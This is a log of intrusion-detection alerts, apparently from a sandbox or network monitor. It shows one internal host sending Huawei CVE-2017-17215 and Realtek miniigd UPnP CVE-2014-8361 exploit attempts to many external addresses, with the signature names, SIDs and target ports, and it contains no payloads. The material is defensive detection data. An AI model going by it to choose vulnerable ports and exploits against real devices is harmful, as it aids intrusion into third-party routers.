ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 189.107.255.223

Timestamp:	07/20/24-23:10:39.192692
SID:	2027339
Source Port:	53962
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 4.49.242.168

Timestamp:	07/20/24-23:10:39.492375
SID:	2829579
Source Port:	58290
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.186.174.2

Timestamp:	07/20/24-23:10:49.380109
SID:	2835222
Source Port:	42270
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.171.119.77

Timestamp:	07/20/24-23:11:06.686627
SID:	2829579
Source Port:	45470
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.136.106.52

Timestamp:	07/20/24-23:10:40.608330
SID:	2835222
Source Port:	49096
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 198.105.114.189

Timestamp:	07/20/24-23:10:45.877183
SID:	2027339
Source Port:	60732
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 178.226.102.10

Timestamp:	07/20/24-23:10:49.395188
SID:	2835222
Source Port:	49496
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 36.49.92.9

Timestamp:	07/20/24-23:10:58.998725
SID:	2835222
Source Port:	54954
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.221.209.38

Timestamp:	07/20/24-23:11:03.352490
SID:	2829579
Source Port:	57358
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 223.179.196.98

Timestamp:	07/20/24-23:10:51.944865
SID:	2831300
Source Port:	53640
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 152.242.221.75

Timestamp:	07/20/24-23:10:42.651614
SID:	2831300
Source Port:	37386
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 61.206.111.53

Timestamp:	07/20/24-23:10:48.340035
SID:	2027339
Source Port:	59990
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 152.242.221.75

Timestamp:	07/20/24-23:10:40.204129
SID:	2027339
Source Port:	36464
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 83.119.27.3

Timestamp:	07/20/24-23:10:52.540929
SID:	2829579
Source Port:	57564
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.226.246.41

Timestamp:	07/20/24-23:10:52.578509
SID:	2835222
Source Port:	53374
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.115.125.213

Timestamp:	07/20/24-23:10:55.999553
SID:	2829579
Source Port:	55582
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 210.2.46.1

Timestamp:	07/20/24-23:10:42.636830
SID:	2027339
Source Port:	49720
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.72.189.25

Timestamp:	07/20/24-23:10:59.035480
SID:	2829579
Source Port:	45380
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.230.78.164

Timestamp:	07/20/24-23:10:40.653603
SID:	2835222
Source Port:	48734
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.122.171.255

Timestamp:	07/20/24-23:10:46.817180
SID:	2829579
Source Port:	55198
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 13.3.106.56

Timestamp:	07/20/24-23:10:42.639392
SID:	2027339
Source Port:	54964
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 101.192.211.186

Timestamp:	07/20/24-23:10:42.262762
SID:	2835222
Source Port:	59428
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.154.203.233

Timestamp:	07/20/24-23:10:41.230071
SID:	2835222
Source Port:	35026
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 178.153.143.199

Timestamp:	07/20/24-23:10:42.624844
SID:	2831300
Source Port:	34920
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.140.115.187

Timestamp:	07/20/24-23:10:39.485535
SID:	2835222
Source Port:	48658
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.146.188.223

Timestamp:	07/20/24-23:10:49.377082
SID:	2835222
Source Port:	47148
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.127.217.236

Timestamp:	07/20/24-23:10:39.462416
SID:	2835222
Source Port:	41390
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.179.191.34

Timestamp:	07/20/24-23:10:52.549473
SID:	2835222
Source Port:	54892
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.88.161.113

Timestamp:	07/20/24-23:11:06.780857
SID:	2835222
Source Port:	40074
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.210.26.139

Timestamp:	07/20/24-23:10:49.380109
SID:	2829579
Source Port:	38468
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 141.208.201.80

Timestamp:	07/20/24-23:10:51.917055
SID:	2831300
Source Port:	53722
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.14.225.158

Timestamp:	07/20/24-23:10:59.021279
SID:	2835222
Source Port:	51432
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.237.230.7

Timestamp:	07/20/24-23:11:03.378464
SID:	2829579
Source Port:	35578
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 12.188.91.94

Timestamp:	07/20/24-23:10:51.931701
SID:	2831300
Source Port:	45468
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 64.61.109.158

Timestamp:	07/20/24-23:10:42.634545
SID:	2831300
Source Port:	58114
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 110.77.226.178

Timestamp:	07/20/24-23:10:55.999553
SID:	2829579
Source Port:	59896
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.250.4.144

Timestamp:	07/20/24-23:10:52.607832
SID:	2835222
Source Port:	39126
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 53.208.221.28

Timestamp:	07/20/24-23:10:40.649994
SID:	2835222
Source Port:	39050
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.179.141.111

Timestamp:	07/20/24-23:10:46.778936
SID:	2835222
Source Port:	53418
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 132.70.73.95

Timestamp:	07/20/24-23:10:51.970945
SID:	2831300
Source Port:	34002
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.33.95.235

Timestamp:	07/20/24-23:10:56.035713
SID:	2829579
Source Port:	55218
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 195.207.0.55

Timestamp:	07/20/24-23:10:44.103705
SID:	2025132
Source Port:	52578
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 209.16.225.185

Timestamp:	07/20/24-23:10:47.748417
SID:	2027339
Source Port:	44756
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 184.170.67.27

Timestamp:	07/20/24-23:10:51.898994
SID:	2027339
Source Port:	53610
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.103.136.234

Timestamp:	07/20/24-23:10:40.653603
SID:	2835222
Source Port:	37442
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.106.145.235

Timestamp:	07/20/24-23:10:59.001293
SID:	2829579
Source Port:	58992
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 138.128.103.84

Timestamp:	07/20/24-23:10:42.249913
SID:	2835222
Source Port:	60524
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 168.52.247.36

Timestamp:	07/20/24-23:10:51.983833
SID:	2027339
Source Port:	55620
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 167.160.225.22

Timestamp:	07/20/24-23:10:43.056355
SID:	2831300
Source Port:	36418
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 74.74.206.232

Timestamp:	07/20/24-23:10:51.899861
SID:	2831300
Source Port:	44962
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 222.252.7.7

Timestamp:	07/20/24-23:10:47.646267
SID:	2025132
Source Port:	56986
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.47.128.202

Timestamp:	07/20/24-23:10:49.398416
SID:	2835222
Source Port:	45672
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 39.147.126.15

Timestamp:	07/20/24-23:10:40.656426
SID:	2829579
Source Port:	45480
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.135.100.3

Timestamp:	07/20/24-23:10:39.431804
SID:	2829579
Source Port:	47204
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 196.54.140.130

Timestamp:	07/20/24-23:10:43.610550
SID:	2027339
Source Port:	48780
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.79.113.139

Timestamp:	07/20/24-23:10:39.473748
SID:	2835222
Source Port:	54592
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.101.41.79

Timestamp:	07/20/24-23:10:46.711367
SID:	2829579
Source Port:	54440
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.55.245.163

Timestamp:	07/20/24-23:10:59.029071
SID:	2835222
Source Port:	56712
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.175.193.56

Timestamp:	07/20/24-23:10:41.230071
SID:	2835222
Source Port:	51626
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 129.64.233.15

Timestamp:	07/20/24-23:10:44.062554
SID:	2025132
Source Port:	34730
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.191.154.193

Timestamp:	07/20/24-23:10:46.778936
SID:	2835222
Source Port:	50916
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.152.251.193

Timestamp:	07/20/24-23:11:03.378926
SID:	2829579
Source Port:	58288
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.92.178.14

Timestamp:	07/20/24-23:11:03.390577
SID:	2829579
Source Port:	58100
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 180.55.108.40

Timestamp:	07/20/24-23:10:51.931701
SID:	2831300
Source Port:	43816
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 178.151.190.240

Timestamp:	07/20/24-23:10:41.231187
SID:	2829579
Source Port:	45458
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 8.190.85.240

Timestamp:	07/20/24-23:10:51.957772
SID:	2027339
Source Port:	59592
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.250.209.83

Timestamp:	07/20/24-23:11:03.361094
SID:	2829579
Source Port:	34510
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 92.54.7.102

Timestamp:	07/20/24-23:10:45.080820
SID:	2027339
Source Port:	36212
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.238.161.20

Timestamp:	07/20/24-23:10:39.431804
SID:	2835222
Source Port:	45450
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.111.82.33

Timestamp:	07/20/24-23:10:42.248539
SID:	2835222
Source Port:	33470
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 61.146.90.23

Timestamp:	07/20/24-23:10:42.636108
SID:	2831300
Source Port:	33244
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 153.91.88.242

Timestamp:	07/20/24-23:10:47.852736
SID:	2027339
Source Port:	33888
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.100.48.167

Timestamp:	07/20/24-23:10:52.546429
SID:	2835222
Source Port:	54460
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.7.140.134

Timestamp:	07/20/24-23:10:39.485535
SID:	2835222
Source Port:	47380
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 40.139.206.8

Timestamp:	07/20/24-23:10:43.404449
SID:	2027339
Source Port:	55002
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 104.126.44.136

Timestamp:	07/20/24-23:10:42.633392
SID:	2027339
Source Port:	52092
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.199.23.210

Timestamp:	07/20/24-23:11:06.646712
SID:	2829579
Source Port:	50920
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.149.118.233

Timestamp:	07/20/24-23:10:42.255257
SID:	2835222
Source Port:	54630
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 109.87.123.124

Timestamp:	07/20/24-23:10:43.548227
SID:	2027339
Source Port:	48170
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 200.157.164.208

Timestamp:	07/20/24-23:10:51.915609
SID:	2027339
Source Port:	54980
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 222.216.119.91

Timestamp:	07/20/24-23:10:51.933445
SID:	2027339
Source Port:	59214
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.12.13.252

Timestamp:	07/20/24-23:11:06.689532
SID:	2829579
Source Port:	49482
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 173.225.79.113

Timestamp:	07/20/24-23:10:44.227698
SID:	2025132
Source Port:	59420
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.142.184.181

Timestamp:	07/20/24-23:10:46.755097
SID:	2835222
Source Port:	55814
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 13.225.171.30

Timestamp:	07/20/24-23:10:56.021160
SID:	2835222
Source Port:	51802
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 14.62.43.62

Timestamp:	07/20/24-23:10:40.607363
SID:	2835222
Source Port:	54458
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.174.147.13

Timestamp:	07/20/24-23:10:49.355429
SID:	2829579
Source Port:	58042
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.109.80.153

Timestamp:	07/20/24-23:10:39.430692
SID:	2835222
Source Port:	60840
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 161.174.65.14

Timestamp:	07/20/24-23:10:43.534202
SID:	2025132
Source Port:	41482
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 206.191.124.100

Timestamp:	07/20/24-23:11:03.378465
SID:	2835222
Source Port:	33708
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 97.164.50.55

Timestamp:	07/20/24-23:10:51.917508
SID:	2831300
Source Port:	36226
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.94.138.141

Timestamp:	07/20/24-23:10:59.028826
SID:	2835222
Source Port:	53266
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 82.123.250.216

Timestamp:	07/20/24-23:11:03.361259
SID:	2835222
Source Port:	47424
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.246.170.171

Timestamp:	07/20/24-23:10:39.492375
SID:	2835222
Source Port:	55852
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.143.73.208

Timestamp:	07/20/24-23:10:59.050849
SID:	2829579
Source Port:	50628
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.157.98.40

Timestamp:	07/20/24-23:10:52.581805
SID:	2829579
Source Port:	36094
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 91.12.191.106

Timestamp:	07/20/24-23:10:46.817180
SID:	2829579
Source Port:	41304
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.190.168.108

Timestamp:	07/20/24-23:10:42.272034
SID:	2829579
Source Port:	40296
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.118.190.175

Timestamp:	07/20/24-23:10:46.739330
SID:	2829579
Source Port:	57458
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.226.220.209

Timestamp:	07/20/24-23:10:46.755097
SID:	2829579
Source Port:	35330
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 223.235.223.229

Timestamp:	07/20/24-23:10:52.004719
SID:	2831300
Source Port:	47702
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

